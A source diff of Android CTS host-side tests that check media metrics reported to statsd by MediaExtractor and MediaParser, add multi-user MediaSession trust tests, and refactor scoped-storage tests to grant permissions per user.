+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.stats.mediametrics.Mediametrics;
+
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Host-side tests for MediaExtractor. */
+public class MediaExtractorHostSideTest extends BaseMediaHostSideTest {
+    /** Package name of the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_PACKAGE = "android.media.cts";
+    /** Name of the APK that contains the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_APK = "CtsMediaExtractorHostTestApp.apk";
+    /** Fully qualified class name for the device-side tests. */
+    private static final String DEVICE_SIDE_TEST_CLASS =
+            "android.media.cts.MediaExtractorDeviceSideTest";
+
+    private static final long CONFIG_ID = "cts_config".hashCode();
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        installApp(DEVICE_SIDE_TEST_APK);
+        removeConfig(); // Clear existing configs.
+        createAndUploadConfig();
+        getAndClearReportList(); // Clear existing reports.
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        removeConfig();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    // Tests.
+
+    public void testMediaMetricsEntryPointSdk() throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointSdk");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.SDK);
+    }
+
+    public void testMediaMetricsEntryPointNdkNoJvm() throws Exception {
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkNoJvm");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_NO_JVM);
+    }
+
+    public void testMediaMetricsEntryPointNdkWithJvm() throws Exception {
+        runDeviceTests(
+                DEVICE_SIDE_TEST_PACKAGE, DEVICE_SIDE_TEST_CLASS, "testEntryPointNdkWithJvm");
+        assertThat(getMediaExtractorReportedEntryPoint())
+                .isEqualTo(Mediametrics.ExtractorData.EntryPoint.NDK_WITH_JVM);
+    }
+
+    // Internal methods.
+
+    /** Removes any existing config with id {@link #CONFIG_ID}. */
+    private void removeConfig() throws Exception {
+        getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+    }
+
+    /** Creates the statsd config and passes it to statsd. */
+    private void createAndUploadConfig() throws Exception {
+        StatsdConfig.Builder configBuilder =
+                StatsdConfigProto.StatsdConfig.newBuilder()
+                        .setId(CONFIG_ID)
+                        .addAllowedLogSource(DEVICE_SIDE_TEST_PACKAGE)
+                        .addWhitelistedAtomIds(
+                                AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+        addAtomEvent(configBuilder);
+        uploadConfig(configBuilder.build());
+    }
+
+    /** Writes the given config into a file and passes is to statsd via standard input. */
+    private void uploadConfig(StatsdConfig config) throws Exception {
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        // Make sure a config file with the same name doesn't exist already.
+        getDevice().deleteFile(remotePath);
+        assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+        getDevice()
+                .executeShellCommand(
+                        "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+        getDevice().deleteFile(remotePath);
+    }
+
+    /** Adds an event to the config in order to match MediaParser reported atoms. */
+    private static void addAtomEvent(StatsdConfig.Builder config) {
+        String atomName = "Atom" + System.nanoTime();
+        String eventName = "Event" + System.nanoTime();
+        SimpleAtomMatcher.Builder sam =
+                SimpleAtomMatcher.newBuilder()
+                        .setAtomId(AtomsProto.Atom.MEDIAMETRICS_EXTRACTOR_REPORTED_FIELD_NUMBER);
+        config.addAtomMatcher(
+                StatsdConfigProto.AtomMatcher.newBuilder()
+                        .setId(atomName.hashCode())
+                        .setSimpleAtomMatcher(sam));
+        config.addEventMetric(
+                StatsdConfigProto.EventMetric.newBuilder()
+                        .setId(eventName.hashCode())
+                        .setWhat(atomName.hashCode()));
+    }
+
+    /**
+     * Returns all MediaParser reported metric events sorted by timestamp.
+     *
+     * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+     */
+    private Mediametrics.ExtractorData.EntryPoint getMediaExtractorReportedEntryPoint()
+            throws Exception {
+        ConfigMetricsReportList reportList = getAndClearReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+        ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
+        report.getMetricsList()
+                .forEach(
+                        statsLogReport ->
+                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
+                data.stream()
+                        .map(element -> element.getAtom().getMediametricsExtractorReported())
+                        .collect(Collectors.toList());
+        // During device boot, services may extract media files. We ensure we only pick up metric
+        // events from our device-side test.
+        mediametricsExtractorReported.removeIf(
+                entry -> !DEVICE_SIDE_TEST_PACKAGE.equals(entry.getPackageName()));
+        assertThat(mediametricsExtractorReported).hasSize(1);
+        return mediametricsExtractorReported.get(0).getExtractorData().getEntryPoint();
+    }
+
+    /** Gets a statsd report and removes it from the device. */
+    private ConfigMetricsReportList getAndClearReportList() throws Exception {
+        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice()
+                .executeShellCommand(
+                        "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+                        receiver);
+        return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+    }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 750e98c..870893c 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -251,14 +251,46 @@
         runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
     }
 
+    @AppModeFull
+    @RequiresDevice
+    // Ignored due to b/171012388.
+    public void ignored_testIsTrusted_withEnabledNotificationListener_returnsTrue()
+            throws Exception {
+        if (!canCreateAdditionalUsers(1)) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+
+        int newUserId = createAndStartUser();
+        setAllowGetActiveSessionForTest(true, newUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+        runTestAsUser("testIsTrusted_returnsTrue", newUserId);
+    }
+
+    @AppModeFull
+    @RequiresDevice
+    public void testIsTrusted_withoutEnabledNotificationListener_returnsFalse()
+            throws Exception {
+        if (!canCreateAdditionalUsers(1)) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+
+        int newUserId = createAndStartUser();
+        setAllowGetActiveSessionForTest(false, newUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+        runTestAsUser("testIsTrusted_returnsFalse", newUserId);
+    }
+
     private void runTest(String testMethodName) throws DeviceNotAvailableException {
         runTestAsUser(testMethodName, getDevice().getPrimaryUserId());
     }
 
     private void runTestAsUser(String testMethodName, int userId)
             throws DeviceNotAvailableException {
-        runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
-                testMethodName, userId);
+        runDeviceTests(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS, testMethodName, userId);
     }
 
     /**
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
new file mode 100644
index 0000000..87c9621
--- /dev/null
+++ b/hostsidetests/mediaparser/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_test_host {
+    name: "CtsMediaParserHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    static_libs: [
+        "cts-host-utils",
+    ],
+    data: [
+      ":CtsMediaParserTestCasesApp",
+    ]
+}
diff --git a/hostsidetests/mediaparser/AndroidTest.xml b/hostsidetests/mediaparser/AndroidTest.xml
new file mode 100644
index 0000000..7d53939
--- /dev/null
+++ b/hostsidetests/mediaparser/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsMediaParserHostTestCases.jar" />
+        <option name="runtime-hint" value="3m" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS
new file mode 100644
index 0000000..51256bf
--- /dev/null
+++ b/hostsidetests/mediaparser/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 817235
+aquilescanta@google.com
+andrewlewis@google.com
+essick@google.com
+marcone@google.com
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
new file mode 100644
index 0000000..7f34459
--- /dev/null
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -0,0 +1,323 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediaparser.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.internal.os.StatsdConfigProto;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.MediametricsMediaParserReported;
+import com.android.os.StatsLog;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/** Test for checking that the MediaParser CTS tests produce the expected media metrics. */
+// TODO(b/172494357): Re-enable tests once we can check for the mainline train version.
+public class MediaParserHostSideTest extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String MEDIAPARSER_TEST_APK = "CtsMediaParserTestCasesApp.apk";
+    private static final String MEDIAPARSER_TEST_APP_PACKAGE = "android.media.mediaparser.cts";
+    private static final String MEDIAPARSER_TEST_CLASS_NAME =
+            "android.media.mediaparser.cts.MediaParserTest";
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    private static final long CONFIG_ID = "cts_config".hashCode();
+    private static final String MEDIAPARSER_METRICS_SEPARATOR = "\\|";
+    private static final double MEDIAPARSER_METRICS_DITHER_VALUE = .02f;
+
+    private IBuildInfo mCtsBuildInfo;
+
+    // Resource management.
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuildInfo = buildInfo;
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        File apk = new CompatibilityBuildHelper(mCtsBuildInfo).getTestFile(MEDIAPARSER_TEST_APK);
+        assertThat(getDevice().installPackage(apk, /* reinstall= */ true)).isNull();
+        removeConfig();
+        createAndUploadConfig();
+        getAndClearReportList(); // Clear existing reports.
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        removeConfig();
+        getDevice().uninstallPackage(MEDIAPARSER_TEST_APP_PACKAGE);
+    }
+
+    // Tests.
+
+    public void ignored_testCreationByNameMetrics() throws Exception {
+        runDeviceTest("testCreationByName");
+        String[] expectedParserNames = {
+            "android.media.mediaparser.MatroskaParser",
+            "android.media.mediaparser.FragmentedMp4Parser",
+            "android.media.mediaparser.Mp4Parser",
+            "android.media.mediaparser.Mp3Parser",
+            "android.media.mediaparser.AdtsParser",
+            "android.media.mediaparser.Ac3Parser",
+            "android.media.mediaparser.TsParser",
+            "android.media.mediaparser.FlvParser",
+            "android.media.mediaparser.OggParser",
+            "android.media.mediaparser.PsParser",
+            "android.media.mediaparser.WavParser",
+            "android.media.mediaparser.AmrParser",
+            "android.media.mediaparser.Ac4Parser",
+            "android.media.mediaparser.FlacParser",
+        };
+        // All of the above are created by name.
+        int[] expectedCreatedByName =
+                Arrays.stream(expectedParserNames).mapToInt(unusedArgument -> 1).toArray();
+        runDeviceTest("testCreationByName");
+        List<MediametricsMediaParserReported> mediaParserReportedEvents =
+                getMediaParserReportedEvents();
+        String[] observedParserNames =
+                mediaParserReportedEvents.stream()
+                        .map(MediametricsMediaParserReported::getParserName)
+                        .toArray(String[]::new);
+        int[] observedCreatedByName =
+                mediaParserReportedEvents.stream()
+                        .mapToInt(MediametricsMediaParserReported::getCreatedByName)
+                        .toArray();
+        assertThat(observedParserNames).isEqualTo(expectedParserNames);
+        assertThat(observedCreatedByName).isEqualTo(expectedCreatedByName);
+    }
+
+    public void ignored_testParserPool() throws Exception {
+        runDeviceTest("testMp4");
+        String[] expectedParserNamesInPool = {
+            "android.media.mediaparser.MatroskaParser",
+            "android.media.mediaparser.FragmentedMp4Parser",
+            "android.media.mediaparser.Mp4Parser",
+            "android.media.mediaparser.Mp3Parser",
+            "android.media.mediaparser.AdtsParser",
+            "android.media.mediaparser.Ac3Parser",
+            "android.media.mediaparser.TsParser",
+            "android.media.mediaparser.FlvParser",
+            "android.media.mediaparser.OggParser",
+            "android.media.mediaparser.PsParser",
+            "android.media.mediaparser.WavParser",
+            "android.media.mediaparser.AmrParser",
+            "android.media.mediaparser.Ac4Parser",
+            "android.media.mediaparser.FlacParser",
+        };
+        String parserPool = getSingleMediaParserReportedEvent().getParserPool();
+        List<String> parserNamesInParserPool =
+                Arrays.asList(parserPool.split(MEDIAPARSER_METRICS_SEPARATOR));
+        // We do not assert the order in the pool in order to allow test robustness against future
+        // mainline changes.
+        assertThat(parserNamesInParserPool).containsExactlyElementsIn(expectedParserNamesInPool);
+    }
+
+    public void ignored_testLastException() throws Exception {
+        runDeviceTest("testOggInvalidHeaderSniff");
+        List<MediametricsMediaParserReported> mediaParserReportedEvents =
+                getMediaParserReportedEvents();
+        assertThat(mediaParserReportedEvents).hasSize(2);
+        for (MediametricsMediaParserReported event : mediaParserReportedEvents) {
+            assertThat(event.getLastException())
+                .isEqualTo("android.media.MediaParser$UnrecognizedInputFormatException");
+        }
+    }
+
+    public void ignored_testResourceByteCount() throws Exception {
+        long actualInputSize = 101597;
+        long minimumExpectedResourceByteCount =
+                (long) (actualInputSize * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+        long maximumExpectedResourceByteCount =
+                (long) (actualInputSize * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+        runDeviceTest("testMp4");
+        long reportedByteCount = getSingleMediaParserReportedEvent().getResourceByteCount();
+        assertThat(reportedByteCount).isAtLeast(minimumExpectedResourceByteCount);
+        assertThat(reportedByteCount).isAtMost(maximumExpectedResourceByteCount);
+    }
+
+    public void ignored_testDurationMillis() throws Exception {
+        long actualDurationMillis = 1024;
+        long minimumExpectedResourceByteCount =
+                (long) (actualDurationMillis * (1 - MEDIAPARSER_METRICS_DITHER_VALUE));
+        long maximumExpectedResourceByteCount =
+                (long) (actualDurationMillis * (1 + MEDIAPARSER_METRICS_DITHER_VALUE));
+        runDeviceTest("testMp4");
+        long reportedDurationMillis = getSingleMediaParserReportedEvent().getDurationMillis();
+        assertThat(reportedDurationMillis).isAtLeast(minimumExpectedResourceByteCount);
+        assertThat(reportedDurationMillis).isAtMost(maximumExpectedResourceByteCount);
+    }
+
+    public void ignored_testTrackMimeTypes() throws Exception {
+        String[] expectedTrackMimeTypes = new String[] {"video/avc", "audio/mp4a-latm"};
+        runDeviceTest("testMp4");
+        String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackMimeTypes();
+        List<String> actualTrackMimeTypes =
+                Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+        assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedTrackMimeTypes);
+    }
+
+    public void ignored_testTrackCodecs() throws Exception {
+        String[] expectedCodecs = new String[] {"", "mp4a.40.2"};
+        runDeviceTest("testMp4");
+        String trackMimeTypesField = getSingleMediaParserReportedEvent().getTrackCodecs();
+        List<String> actualTrackMimeTypes =
+                Arrays.asList(trackMimeTypesField.split(MEDIAPARSER_METRICS_SEPARATOR));
+        assertThat(actualTrackMimeTypes).containsExactlyElementsIn(expectedCodecs);
+    }
+
+    public void ignored_testAlteredParameters() throws Exception {
+        runDeviceTest("testTsWithH264DtsAudio");
+        assertThat(getSingleMediaParserReportedEvent().getAlteredParameters())
+                .isEqualTo("android.media.mediaparser.ts.enableHdmvDtsAudioStreams");
+    }
+
+    public void ignored_testVideoSize() throws Exception {
+        runDeviceTest("testMp4");
+        MediametricsMediaParserReported reportedEvent = getSingleMediaParserReportedEvent();
+        assertThat(reportedEvent.getVideoWidth()).isEqualTo(1080);
+        assertThat(reportedEvent.getVideoHeight()).isEqualTo(720);
+    }
+
+    // Internal methods.
+
+    /** Creates the statsd config and passes it to statsd. */
+    private void createAndUploadConfig() throws Exception {
+        StatsdConfig.Builder configBuilder =
+                StatsdConfigProto.StatsdConfig.newBuilder()
+                        .setId(CONFIG_ID)
+                        .addAllowedLogSource(MEDIAPARSER_TEST_APP_PACKAGE)
+                        .addWhitelistedAtomIds(
+                                AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+        addAtomEvent(configBuilder);
+        uploadConfig(configBuilder.build());
+    }
+
+    /** Removes any existing config with id {@link #CONFIG_ID}. */
+    private void removeConfig() throws Exception {
+        getDevice().executeShellCommand("cmd stats config remove " + CONFIG_ID);
+    }
+
+    /** Writes the given config into a file and passes is to statsd via standard input. */
+    private void uploadConfig(StatsdConfig config) throws Exception {
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        // Make sure a config file with the same name doesn't exist already.
+        getDevice().deleteFile(remotePath);
+        assertThat(getDevice().pushFile(configFile, remotePath)).isTrue();
+        getDevice()
+                .executeShellCommand(
+                        "cat " + remotePath + " | cmd stats config update " + CONFIG_ID);
+        getDevice().deleteFile(remotePath);
+    }
+
+    /**
+     * Asserts that there is only one MediaParser reported metric event, and returns it.
+     *
+     * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+     */
+    private MediametricsMediaParserReported getSingleMediaParserReportedEvent() throws Exception {
+        List<MediametricsMediaParserReported> mediaParserReportedEvents =
+                getMediaParserReportedEvents();
+        assertThat(mediaParserReportedEvents).hasSize(1);
+        return mediaParserReportedEvents.get(0);
+    }
+
+    /**
+     * Returns all MediaParser reported metric events sorted by timestamp.
+     *
+     * <p>Note: Calls {@link #getAndClearReportList()} to obtain the statsd report.
+     */
+    private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
+        ConfigMetricsReportList reportList = getAndClearReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
+        ArrayList<EventMetricData> data = new ArrayList<>();
+        report.getMetricsList()
+                .forEach(
+                        statsLogReport ->
+                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        // We sort the reported events by the elapsed timestamp so as to ensure they are returned
+        // in the same order as they were generated by the CTS tests.
+        return data.stream()
+                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
+                .map(event -> event.getAtom().getMediametricsMediaparserReported())
+                .collect(Collectors.toList());
+    }
+
+    /** Gets a statsd report and removes it from the device. */
+    private ConfigMetricsReportList getAndClearReportList() throws Exception {
+        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice()
+                .executeShellCommand(
+                        "cmd stats dump-report " + CONFIG_ID + " --include_current_bucket --proto",
+                        receiver);
+        return ConfigMetricsReportList.parser().parseFrom(receiver.getOutput());
+    }
+
+    /** Runs the test with the given name from the MediaParser CTS apk. */
+    private void runDeviceTest(String testMethodName) throws DeviceNotAvailableException {
+        RemoteAndroidTestRunner testRunner =
+                new RemoteAndroidTestRunner(
+                        MEDIAPARSER_TEST_APP_PACKAGE, TEST_RUNNER, getDevice().getIDevice());
+        testRunner.setMethodName(MEDIAPARSER_TEST_CLASS_NAME, testMethodName);
+        CollectingTestListener listener = new CollectingTestListener();
+        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+        TestRunResult result = listener.getCurrentRunResults();
+        assertThat(result.isRunFailure()).isFalse();
+        assertThat(result.getNumTests()).isEqualTo(1);
+        assertThat(result.hasFailedTests()).isFalse();
+    }
+
+    /** Adds an event to the config in order to match MediaParser reported atoms. */
+    private static void addAtomEvent(StatsdConfig.Builder config) {
+        String atomName = "Atom" + System.nanoTime();
+        String eventName = "Event" + System.nanoTime();
+        SimpleAtomMatcher.Builder sam =
+                SimpleAtomMatcher.newBuilder()
+                        .setAtomId(AtomsProto.Atom.MEDIAMETRICS_MEDIAPARSER_REPORTED_FIELD_NUMBER);
+        config.addAtomMatcher(
+                AtomMatcher.newBuilder().setId(atomName.hashCode()).setSimpleAtomMatcher(sam));
+        config.addEventMetric(
+                StatsdConfigProto.EventMetric.newBuilder()
+                        .setId(eventName.hashCode())
+                        .setWhat(atomName.hashCode()));
+    }
+}
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 43208ac..bbdf653 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- TODO(b/169101565): change to secondary_user when fixed -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
new file mode 100644
index 0000000..983cc66
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+abstract class BaseHostTestCase extends BaseHostJUnit4Test {
+    private int mCurrentUserId = NativeDevice.INVALID_USER_ID;
+
+    protected String executeShellCommand(String cmd, Object... args) throws Exception {
+        return getDevice().executeShellCommand(String.format(cmd, args));
+    }
+
+    protected int getCurrentUserId() throws Exception {
+        setCurrentUserId();
+
+        return mCurrentUserId;
+    }
+
+    private void setCurrentUserId() throws Exception {
+        if (mCurrentUserId != NativeDevice.INVALID_USER_ID) return;
+
+        ITestDevice device = getDevice();
+        mCurrentUserId = device.getCurrentUser();
+        CLog.i("Current user: %d");
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 8729f9b..594fd6a 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -18,12 +18,10 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assert.assertTrue;
-
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
 import org.junit.Before;
@@ -35,20 +33,19 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 @AppModeFull
-public class LegacyStorageHostTest extends BaseHostJUnit4Test {
-    private boolean isExternalStorageSetup = false;
+public class LegacyStorageHostTest extends BaseHostTestCase {
 
-    private String executeShellCommand(String cmd) throws Exception {
-        return getDevice().executeShellCommand(cmd);
-    }
+    private boolean mIsExternalStorageSetup;
+
+    private ContentProviderHandler mContentProviderHandler;
 
     /**
      * Runs the given phase of LegacyFileAccessTest by calling into the device.
      * Throws an exception if the test phase fails.
      */
     void runDeviceTest(String phase) throws Exception {
-        assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
-                "android.scopedstorage.cts.legacy.LegacyStorageTest", phase));
+        assertThat(runDeviceTests("android.scopedstorage.cts.legacy",
+                "android.scopedstorage.cts.legacy.LegacyStorageTest", phase)).isTrue();
     }
 
     /**
@@ -56,14 +53,18 @@
      * so in order to test a case where the reader has only WRITE, we must explicitly revoke READ.
      */
     private void grantPermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm grant android.scopedstorage.cts.legacy " + perm);
+            executeShellCommand("pm grant --user %d android.scopedstorage.cts.legacy %s",
+                    currentUserId, perm);
         }
     }
 
     private void revokePermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm revoke android.scopedstorage.cts.legacy " + perm);
+            executeShellCommand("pm revoke --user %d android.scopedstorage.cts.legacy %s",
+                    currentUserId, perm);
         }
